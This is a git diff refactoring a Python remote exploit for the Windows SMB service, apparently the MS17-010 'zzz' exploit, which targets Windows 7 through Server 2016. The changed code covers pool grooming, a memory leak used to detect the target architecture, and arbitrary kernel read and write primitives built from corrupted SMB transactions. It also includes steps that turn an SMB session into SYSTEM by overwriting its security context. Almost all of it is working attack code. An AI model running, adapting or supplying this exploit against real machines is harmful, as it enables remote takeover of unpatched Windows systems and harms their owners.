diff --git a/zzz_exploit.py b/zzz_exploit.py
index 9fe4dab..2de8ccf 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -66,7 +66,7 @@ If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running
 to do all SMB operations.
 Note: fake Token might be possible, but NULL token is much easier.
 '''
-WIN7_INFO = {
+WIN7_64_INFO = {
 	'SESSION_SECCTX_OFFSET': 0xa0,
 	'SESSION_ISNULL_OFFSET': 0xba,
 	'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
@@ -81,7 +81,7 @@ WIN7_32_INFO = {
 }
 
 # win8+ info
-WIN8_INFO = {
+WIN8_64_INFO = {
 	'SESSION_SECCTX_OFFSET': 0xb0,
 	'SESSION_ISNULL_OFFSET': 0xca,
 	'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
@@ -95,6 +95,19 @@ WIN8_32_INFO = {
 	'SECCTX_SIZE': 0x24,
 }
 
+OS_ARCH_INFO = {
+	# for Windows 7 and 2008 R2
+	'WIN7': {
+		'x86': WIN7_32_INFO,
+		'x64': WIN7_64_INFO,
+	},
+	# for Windows 8 and later
+	'WIN8': {
+		'x86': WIN8_32_INFO,
+		'x64': WIN8_64_INFO,
+	},
+}
+
 X86_INFO = {
 	'PTR_SIZE' : 4,
 	'PTR_FMT' : 'I',
@@ -107,6 +120,8 @@ X86_INFO = {
 	'TRANS_OUTPARAM_OFFSET' : 0x44,
 	'TRANS_INDATA_OFFSET' : 0x48,
 	'TRANS_OUTDATA_OFFSET' : 0x4c,
+	'TRANS_PARAMCNT_OFFSET' : 0x58,
+	'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
 	'TRANS_FUNCTION_OFFSET' : 0x72,
 	'TRANS_MID_OFFSET' : 0x80,
 }
@@ -123,16 +138,24 @@ X64_INFO = {
 	'TRANS_OUTPARAM_OFFSET' : 0x78,
 	'TRANS_INDATA_OFFSET' : 0x80,
 	'TRANS_OUTDATA_OFFSET' : 0x88,
+	'TRANS_PARAMCNT_OFFSET' : 0x98,
+	'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
 	'TRANS_FUNCTION_OFFSET' : 0xb2,
 	'TRANS_MID_OFFSET' : 0xc0,
 }
 
+TRANS_NAME_LEN = 4
+
+
+def calc_alloc_size(size, align_size):
+	return (size + align_size - 1) & ~(align_size-1)
 
 def wait_for_request_processed(conn):
 	#time.sleep(0.05)
 	# send echo is faster than sleep(0.05) when connection is very good
 	conn.send_echo('a')
 
+
 special_mid = 0
 extra_last_mid = 0
 def reset_extra_mid(conn):
@@ -145,21 +168,22 @@ def next_extra_mid():
 	extra_last_mid += 1
 	return extra_last_mid
 
+
 # Borrow 'groom' and 'bride' word from NSA tool
 # GROOM_TRANS_SIZE includes transaction name, parameters and data
+# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
 GROOM_TRANS_SIZE = 0x5010
 
-
-def calc_alloc_size(size, align_size):
-	return (size + align_size - 1) & ~(align_size-1)
-
-def leak_frag_size(conn, tid, fid, info):
+def leak_frag_size(conn, tid, fid):
+	# leak "Frag" pool size and determine target architecture
+	info = {}
+	
 	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
 	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
 	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
 	# From the leak info, we can determine the target architecture too.
 	mid = conn.next_mid()
-	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
+	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
 	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
 	
 	conn.send_raw(req1[:-8])
@@ -168,17 +192,12 @@ def leak_frag_size(conn, tid, fid, info):
 	leakData = leakData[0x10d4:]  # skip parameters and its own input
 	if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
 		print('Target is 32 bit')
-		if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']:
-			info.update(WIN7_32_INFO)
-		elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:
-			info.update(WIN8_32_INFO)
-		else:
-			print('The exploit does not support this 32 bit target')
-			sys.exit()
 		info.update(X86_INFO)
+		info['arch'] = 'x86'
 	elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
 		print('Target is 64 bit')
 		info.update(X64_INFO)
+		info['arch'] = 'x64'
 	else:
 		print('Not found Frag pool tag in leak data')
 		sys.exit()
@@ -186,21 +205,51 @@ def leak_frag_size(conn, tid, fid, info):
 	# Calculate frag pool size
 	info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
 	print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
+	
+	return info
 
-	# groom: srv buffer header
-	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
-	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
-	# groom paramters and data is alignment by 8 because it is NT_TRANS
-	info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE']  # empty transaction name (4), alignment (4)
 
-	# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
-	bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
-	info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
-	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
-	# bride paramters and data is alignment by 4 because it is TRANS
-	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE']  # empty transaction name (4)
+def read_data(conn, info, read_addr, read_size):
+	fmt = info['PTR_FMT']
+	# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
+	# modify trans2.*ParameterCount and trans2.*DataCount to limit data
+	new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
+	new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
+	new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
+	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
+	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
+	
+	# create one more transaction before leaking data
+	# - next transaction can be used for arbitrary read/write after the current trans2 is done
+	# - next transaction address is from TransactionListEntry.Flink value
+	conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
 
-	return info['FRAG_POOL_SIZE']
+	# finish the trans2 to leak
+	conn.send_nt_trans_secondary(mid=info['trans2_mid'])
+	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
+	
+	# set new trans2 address
+	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
+	
+	# set trans1.InData to &trans2
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
+	wait_for_request_processed(conn)
+
+	# modify trans2 mid
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	return read_data[8:]  # no need to return parameter
+
+def write_data(conn, info, write_addr, write_data):
+	# trans2.InData
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	# write data
+	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
+	wait_for_request_processed(conn)
 
 
 def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
@@ -278,86 +327,39 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 		'session': session_addr,
 		'next_page_addr': next_page_addr,
 		'trans1_mid': leak_mid,
-		'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4,
+		'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
 		'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
-		'special_mid': special_mid,
 	}
 
-def read_data(conn, info, read_addr, read_size):
-	fmt = info['PTR_FMT']
-	# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
-	# modify trans2.*ParameterCount and trans2.*DataCount to limit data
-	new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
-	new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
-	new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
-	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
-	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
-	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
+def exploit_matched_pairs(conn, pipe_name, info):
+	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+	conn.set_default_tid(tid)
+	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
+	fid = conn.nt_create_andx(tid, pipe_name)
 	
-	# create one more transaction before leaking data
-	# - next transaction can be used for arbitrary read/write after the current trans2 is done
-	# - next transaction address is from TransactionListEntry.Flink value
-	conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
-
-	# finish the trans2 to leak
-	conn.send_nt_trans_secondary(mid=info['trans2_mid'])
-	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
+	info.update(leak_frag_size(conn, tid, fid))
+	# add os and arch specific exploit info
+	info.update(OS_ARCH_INFO[info['os']][info['arch']])
 	
-	# set new trans2 address
-	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
+	# groom: srv buffer header
+	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
+	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
+	# groom paramters and data is alignment by 8 because it is NT_TRANS
+	info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']  # alignment (4)
+
+	# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
+	bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
+	info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
+	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
+	# bride paramters and data is alignment by 4 because it is TRANS
+	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
 	
-	# set trans1.InData to &trans2
-	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
-	wait_for_request_processed(conn)
-
-	# modify trans2 mid
-	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
-	wait_for_request_processed(conn)
-	
-	return read_data[8:]  # no need to return parameter
-
-
-def write_data(conn, info, write_addr, write_data):
-	# trans2.InData
-	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
-	wait_for_request_processed(conn)
-	
-	# write data
-	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
-	wait_for_request_processed(conn)
-
-
-def exploit(target, pipe_name):
-	conn = MYSMB(target)
-	
-	# set NODELAY to make exploit much faster
-	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
-
-	info = {}
-
-	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
-	server_os = conn.get_server_os()
-	print('Target OS: '+server_os)
-	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
-		info.update(WIN7_INFO)
-	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
-		info.update(WIN8_INFO)
-	else:
-		print('This exploit does not support this target')
-		sys.exit()
-
 	# ================================
 	# try align pagedpool and leak info until satisfy
 	# ================================
 	leakInfo = None
 	# max attempt: 10
 	for i in range(10):
-		tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
-		conn.set_default_tid(tid)
-		# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
-		fid = conn.nt_create_andx(tid, pipe_name)
-		if 'FRAG_POOL_SIZE' not in info:
-			leak_frag_size(conn, tid, fid, info)
 		reset_extra_mid(conn)
 		leakInfo = align_transaction_and_leak(conn, tid, fid, info)
 		if leakInfo is not None:
@@ -365,6 +367,11 @@ def exploit(target, pipe_name):
 		print('leak failed... try again')
 		conn.close(tid, fid)
 		conn.disconnect_tree(tid)
+		
+		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+		conn.set_default_tid(tid)
+		fid = conn.nt_create_andx(tid, pipe_name)
+
 	if leakInfo is None:
 		return False
 	
@@ -412,12 +419,36 @@ def exploit(target, pipe_name):
 	# modify
 	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
 	# - trans1.InData to &trans2. so we can modify trans2 easily
-	conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
+	conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
 	wait_for_request_processed(conn)
 
 	# modify trans2.mid
 	info['trans2_mid'] = conn.next_mid()
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
+	return True
+
+
+def exploit(target, pipe_name):
+	conn = MYSMB(target)
+	
+	# set NODELAY to make exploit much faster
+	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+
+	info = {}
+
+	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
+	server_os = conn.get_server_os()
+	print('Target OS: '+server_os)
+	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
+		info['os'] = 'WIN7'
+	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
+		info['os'] = 'WIN8'
+	else:
+		print('This exploit does not support this target')
+		sys.exit()
+
+	if not exploit_matched_pairs(conn, pipe_name, info):
+		return False
 
 	# Now, read_data() and write_data() can be used for arbitrary read and write.
 	# ================================
@@ -425,6 +456,7 @@ def exploit(target, pipe_name):
 	# ================================	
 	# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
 	#         method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
+	fmt = info['PTR_FMT']
 	
 	print('make this SMB session to be SYSTEM')
 	# IsNullSession = 0, IsAdmin = 1
@@ -452,11 +484,12 @@ def exploit(target, pipe_name):
 	# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
 	write_data(conn, info, secCtxAddr, secCtxData)
 
-	conn.disconnect_tree(tid)
+	conn.disconnect_tree(conn.get_tid())
 	conn.logoff()
 	conn.get_socket().close()
 	return True
 
+
 def smb_pwn(conn):
 	smbConn = conn.get_smbconnection()